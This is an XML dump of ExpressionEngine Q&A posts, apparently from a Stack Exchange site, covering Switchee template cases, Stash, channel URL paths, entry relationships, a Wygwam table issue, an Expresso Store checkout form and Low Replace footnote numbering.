  <row Id="12609" PostTypeId="2" ParentId="12599" CreationDate="2013-08-09T12:08:15.273" Score="0" Body="&lt;p&gt;I might try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{!-- ----- HOME PAGE ----- --}&#xA;{case value=&quot;index|&quot;}&#xA;   ...&#xA;{/case}&#xA;&#xA;{!-- ----- Static Pages + Sidebar Asides ------ --}&#xA;{case default=&quot;Yes&quot;} &#xA;&#xA; {exp:channel:entries &#xA;    channel=&quot;static&quot; &#xA;    limit=&quot;1&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    disable=&quot;categories&quot; &#xA;    require_entry=&quot;yes&quot; &#xA;    url_title=&quot;{segment_1}&quot;&#xA;    }&#xA;&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;    ... &#xA;&#xA; {/exp:channel:entries}&#xA;&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subtle differences - note that the first switch case looks for a value of &quot;index|&quot; instead of index|'' and the if no results is placed within the entries loop in the default case (I'm not aware of an if switch_no_results, though it may exist - but in reality, setting a default case with no value to match is in effect the if else conditional).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-09T12:08:15.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12610" PostTypeId="2" ParentId="12592" CreationDate="2013-08-09T12:17:19.507" Score="2" Body="&lt;p&gt;Your exp:stash:set is inside a channel entries loop?  I think you might be better off using stash:set_list in place of stash:set. stash:set is often used to surround an entries loop, whereas stash:set_list is used inside the loop, stashing elements within the loop into a list (hence the name).   I think set_list may be more consistent with what you're looking to do.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-09T12:17:19.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12611" PostTypeId="2" ParentId="12555" CreationDate="2013-08-09T12:32:36.863" Score="1" Body="&lt;p&gt;In your channel settings you have the ability to enter a channel url and a channel comment page url - and when it is filled in, it is available to you as a variable in your entries loop (normally - whether it is within the tag module I couldn't say, but it very well may be).  It has the same effect as url_title_path, for example.  But instead of something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_loop}&#xA;    &amp;lt;a href=&quot;{url_title_path='template_group/single_entry_template'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/your_loop}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You instead then have the ability to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_loop}&#xA;    &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/your_loop} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which then allows your single entry view path to be automatically assigned based on what you have entered into the channel's preferences, therein pointing them to the right template for viewing on a channel by channel basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to use the channel short name, and then use an add-on like switchee to early parse a conditional that allows you to define the template path for the single entry view.  Same idea as Robson's suggestion, just parsing the conditional with an add-on for performance, particularly if there are any other conditionals within the parent conditional needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_loop}&#xA;    {exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;channel_short_name_A&quot;}&#xA;            &amp;lt;a href=&quot;{url_title_path='channel_A_template_group/channel_A_single_entry_template}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/case}&#xA;        {case value=&quot;channel_short_name_B&quot;}&#xA;            &amp;lt;a href=&quot;{url_title_path='channel_B_template_group/channel_B_single_entry_template}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/case}&#xA;        {case value=&quot;channel_short_name_C&quot;}&#xA;            &amp;lt;a href=&quot;{url_title_path='channel_C_template_group/channel_C_single_entry_template}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/your_loop}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have to do this in a bunch of different places though, it may be a bit cleaner to use the channel settings option rather than do it in template like this, since you risk repeating yourself a bit.  And in particular, if the comment_url_title_auto_path is not available within the tag module's loop, then this switch case method will be a way around that.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-09T12:32:36.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12612" PostTypeId="2" ParentId="12607" CreationDate="2013-08-09T12:36:56.010" Score="1" Body="&lt;p&gt;One thing that would do that is if you have one of your text fields with the &quot;Field Content&quot; option set to something other than &quot;all&quot; - number, integer or decimal - I can't remember which it is - it may be more than one of them - that defaults to zero when the field is left blank.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-09T12:36:56.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12614" PostTypeId="1" CreationDate="2013-08-09T13:13:15.387" Score="0" ViewCount="519" Body="&lt;p&gt;I have a channel called fruit.&#xA;There is a custom field called 'parent' of type 'relationship' in this channel.&#xA;The relationship is set to channel fruit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I edit my entries in this channel, I can set the field called parent to any of my other entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example entries...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Orange&lt;/li&gt;&#xA;&lt;li&gt;Banana&lt;/li&gt;&#xA;&lt;li&gt;Apple&lt;/li&gt;&#xA;&lt;li&gt;Pear (parent is Grape)&lt;/li&gt;&#xA;&lt;li&gt;Grape&lt;/li&gt;&#xA;&lt;li&gt;Lemon (parent is Banana)&lt;/li&gt;&#xA;&lt;li&gt;Strawberry (parent is Apple)&lt;/li&gt;&#xA;&lt;li&gt;Kiwi (parent is Grape)&lt;/li&gt;&#xA;&lt;li&gt;Mango (parent is Apple)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Based on the above, with my setting of some entries to be parents of other entries, a list would appear as...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Apple&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Strawberry&lt;/li&gt;&#xA;&lt;li&gt;Mango&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Banana&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lemon &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Grape&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pear &lt;/li&gt;&#xA;&lt;li&gt;Kiwi &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Orange&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I want to setup an ordered list to display this relationship &lt;strong&gt;dynamically&lt;/strong&gt; so that the generated code results in...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;Apple&#xA;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;Strawberry&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;Mango&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;Banana&#xA;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;Lemon&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;Grape&#xA;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;Pear&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; Kiwi&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;Orange&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have been reading about the new way EE handles parent-child-sibling relationships in the Docs. But I am having problems coding the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1349" LastEditorUserId="1349" LastEditDate="2013-08-09T17:01:57.627" LastActivityDate="2013-08-12T12:45:56.147" Title="Listing channel entries by parent and siblings" Tags="|relationships|navigation|related-entries|reverse-related-entries|list|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12615" PostTypeId="1" CreationDate="2013-08-09T14:13:49.330" Score="2" ViewCount="158" Body="&lt;p&gt;I just upgraded to Wygwam 3 and I noticed whenever I cut and paste table tags within the source code field the tables get stripped out and replaced with &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags. Inserting other code within the source option works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone noticed this?&lt;/p&gt;&#xA;" OwnerUserId="1871" LastEditorUserId="159" LastEditDate="2013-08-11T15:05:46.110" LastActivityDate="2013-08-11T21:32:17.530" Title="Wygwam 3 and tables" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12616" PostTypeId="1" AcceptedAnswerId="13133" CreationDate="2013-08-09T15:01:43.683" Score="1" ViewCount="249" Body="&lt;p&gt;I have set up User so customers can edit their billing &amp;amp; shipping info in their member account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to output the billing_region &amp;amp; billing_country select fields from Store within a {exp:user:edit} tag? I tried it but it seems to break the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if a customer has entered different info for billing &amp;amp; shipping in their member account, when they are logged in and go to checkout, the checkbox for setting the shipping info to &quot;Same as Billing Details&quot; is checked and overwrites what is entered for shipping info in the customer's account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added code sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article&amp;gt;&#xA;    {exp:store:checkout&#xA;        form_class=&quot;checkout_form&quot;&#xA;        form_id=&quot;checkout_form&quot;&#xA;        next=&quot;store/order-confirmation&quot;&#xA;    }&#xA;    {if no_items}&#xA;        {redirect=&quot;store/cart&quot;}&#xA;    {/if}&#xA;    &amp;lt;div class=&quot;main-content&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Store&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;ul class=&quot;breadcrumb text-center&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='store'}&quot;&amp;gt;Store&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='store/cart'}&quot;&amp;gt;Your Cart&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='store/customer-details'}&quot; class=&quot;active&quot;&amp;gt;Customer Details&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;hr class=&quot;main-rule&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;two-thirds&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Customer Details&amp;lt;/h2&amp;gt;&#xA;            {if logged_out}&#xA;            &amp;lt;p&amp;gt;&#xA;                Already a customer? &amp;lt;a href=&quot;{path='account/login'}&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;h4&amp;gt;Billing Details&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_name&quot; value=&quot;{billing_name}&quot; data-msg-required=&quot;Please enter your billing name.&quot; required&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;order_email&quot; value=&quot;{order_email}&quot; data-rule-email=&quot;true&quot; data-msg-required=&quot;Please enter your billing email address.&quot; data-msg-email=&quot;Please enter a valid billing email address.&quot; required&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address1&quot; value=&quot;{billing_address1}&quot; data-msg-required=&quot;Please enter your billing address.&quot; required&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_address2&quot;&amp;gt;Apt/Suite&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address2&quot; value=&quot;{billing_address2}&quot;&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address3&quot; value=&quot;{billing_address3}&quot; data-msg-required=&quot;Please enter your billing city.&quot; required&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group{if error:billing_postcode} error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_postcode&quot;&amp;gt;Zip Code/Postcode&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_postcode&quot; value=&quot;{billing_postcode}&quot; data-msg-required=&quot;Please enter your billing zip.&quot; required&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_region&quot;&amp;gt;State/Region&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;span class=&quot;select-menu&quot;&amp;gt;&#xA;                        {field:billing_region}&#xA;                    &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;span class=&quot;select-menu&quot;&amp;gt;&#xA;                        {field:billing_country}&#xA;                    &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;billing_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_phone&quot; value=&quot;{billing_phone}&quot; data-msg-required=&quot;Please enter your billing phone number.&quot; required&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&#xA;            &amp;lt;h4&amp;gt;Shipping Details&amp;lt;/h4&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot; id=&quot;shipping_same_as_billing&quot;&amp;gt; Same as Billing Details&#xA;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;                                   {exp:member:custom_profile_data}&#xA;                &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_name&quot; value=&quot;{shipping_name}&quot; data-msg-required=&quot;Please enter your shipping name.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_address1&quot; value=&quot;{shipping_address1}&quot; data-msg-required=&quot;Please enter your shipping address.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_address2&quot;&amp;gt;Apt/Suite&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_address2&quot; value=&quot;{shipping_address2}&quot;&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_address3&quot; value=&quot;{shipping_address3}&quot; data-msg-required=&quot;Please enter your shipping city.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_postcode&quot;&amp;gt;Zip Code/Postcode&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_postcode&quot; value=&quot;{shipping_postcode}&quot; data-msg-required=&quot;Please enter your shipping zip.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_region&quot;&amp;gt;State/Region&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;span class=&quot;select-menu&quot;&amp;gt;&#xA;                            {field:shipping_region}&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;span class=&quot;select-menu&quot;&amp;gt;&#xA;                            {field:shipping_country}&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;shipping_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_phone&quot; value=&quot;{shipping_phone}&quot; data-msg-required=&quot;Please enter your shipping phone number.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;                            {/exp:member:custom_profile_data}&#xA;            {if logged_out}&#xA;            &amp;lt;p&amp;gt;&#xA;                {field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Account? &amp;lt;span class=&quot;note&quot;&amp;gt;(If your register, we'll save your info so you won't have to enter it next time!)&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;div id=&quot;register_details_drawer&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;password&quot; name=&quot;password&quot; value=&quot;{password}&quot; data-msg-required=&quot;Please enter a password.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;password_confirm&quot; value=&quot;{password_confirm}&quot; data-msg-required=&quot;Please confirm your password.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;div class=&quot;one-half alpha&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;{username}&quot; data-msg-required=&quot;Please enter a username.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;div class=&quot;one-half gamma&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;screen_name&quot;&amp;gt;Screen Name&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; value=&quot;{screen_name}&quot; data-msg-required=&quot;Please enter a screen name.&quot; required&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;alert&quot; style=&quot;display:none;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;a href=&quot;{path='store/cart'}&quot; class=&quot;button&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; name=&quot;next&quot; class=&quot;button orange&quot;&amp;gt;Review Order&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;script&amp;gt;&#xA;            $().ready(function() {&#xA;                $(&quot;#checkout_form&quot;).validate({&#xA;                    errorLabelContainer: $(&quot;#checkout_form div.alert&quot;),&#xA;                    rules: {&#xA;                        password_confirm: {&#xA;                            equalTo: &quot;#password&quot;&#xA;                        }&#xA;                    },&#xA;                    messages: {&#xA;                        password_confirm: {&#xA;                            equalTo: &quot;Your passwords do not match.&quot;&#xA;                        }&#xA;                    }&#xA;                });&#xA;            });&#xA;            &amp;lt;/script&amp;gt;&#xA;            &amp;lt;script&amp;gt;&#xA;                $('#register_member').change(function() {&#xA;                    if (this.checked) {&#xA;                        $('#register_details_drawer').slideDown();&#xA;                    } else {&#xA;                        $('#register_details_drawer').slideUp();&#xA;                    }&#xA;                });&#xA;&#xA;                if (!$('#register_member').is(':checked')) {&#xA;                    $('#register_details_drawer').hide();&#xA;                }&#xA;            &amp;lt;/script&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;one-third&quot;&amp;gt;&#xA;            {order-info}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:store:checkout}&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="434" LastEditorUserId="434" LastEditDate="2013-08-13T20:56:04.963" LastActivityDate="2013-08-26T16:39:12.657" Title="Solspace User &amp; Expresso Store Questions" Tags="|expresso-store|solspace-user|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12617" PostTypeId="1" AcceptedAnswerId="12622" CreationDate="2013-08-09T16:01:30.510" Score="2" ViewCount="85" Body="&lt;p&gt;So we're looking to use Postmaster to auto send emails to specified emails of the amount of an item total sold.  Does anyone have any idea what code we should use for this?  I've tried a few different things and haven't been able to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the channel set to the correct channel that stores our products.  What would be the code to show the total sold for the selected Parse Entry?&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2013-08-09T19:06:48.437" Title="Using Postmaster to Auto Send total amount sold of an item" Tags="|expresso-store|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12618" PostTypeId="1" AcceptedAnswerId="12964" CreationDate="2013-08-09T16:10:23.503" Score="2" ViewCount="91" Body="&lt;p&gt;I'm using Low Replace to allow users to add footnotes to the content of their entries. Anything wrapped in square brackets (like this: &lt;code&gt;[[This would become a footnote.]]&lt;/code&gt;) will then be replaced with the appropriate markup on the front-end. Here is the code thus far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;SPACE\[\[(.*?)\]\]&quot; replace=&quot;&amp;lt;span class=QUOTEfootnote-numberQUOTE&amp;gt;&amp;amp;sup1;&amp;lt;/span&amp;gt;&amp;lt;span class=QUOTEfootnoteQUOTE&amp;gt;&amp;lt;span class=QUOTEfootnote-numberQUOTE&amp;gt;&amp;amp;sup1;&amp;lt;/span&amp;gt; $1&amp;lt;/span&amp;gt;&quot; regex=&quot;yes&quot;}&#xA;    {blog_post_content}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There will often be multiple footnotes for one entry, so I need to be able to increment that &lt;code&gt;&amp;amp;sup1;&lt;/code&gt; with each footnote that's found. So, for example, if there were three footnotes they would be marked-up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;footnote&quot;&amp;gt;&amp;lt;span class=&quot;footnote-number&quot;&amp;gt;&amp;amp;sup1;&amp;lt;/span&amp;gt; Footnote content…&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;footnote&quot;&amp;gt;&amp;lt;span class=&quot;footnote-number&quot;&amp;gt;&amp;amp;sup2;&amp;lt;/span&amp;gt; Footnote content…&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;footnote&quot;&amp;gt;&amp;lt;span class=&quot;footnote-number&quot;&amp;gt;&amp;amp;sup3;&amp;lt;/span&amp;gt; Footnote content…&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I increment that number with each footnote?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-20T23:45:59.697" Title="Increment count in low_replace regex" Tags="|low-replace|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
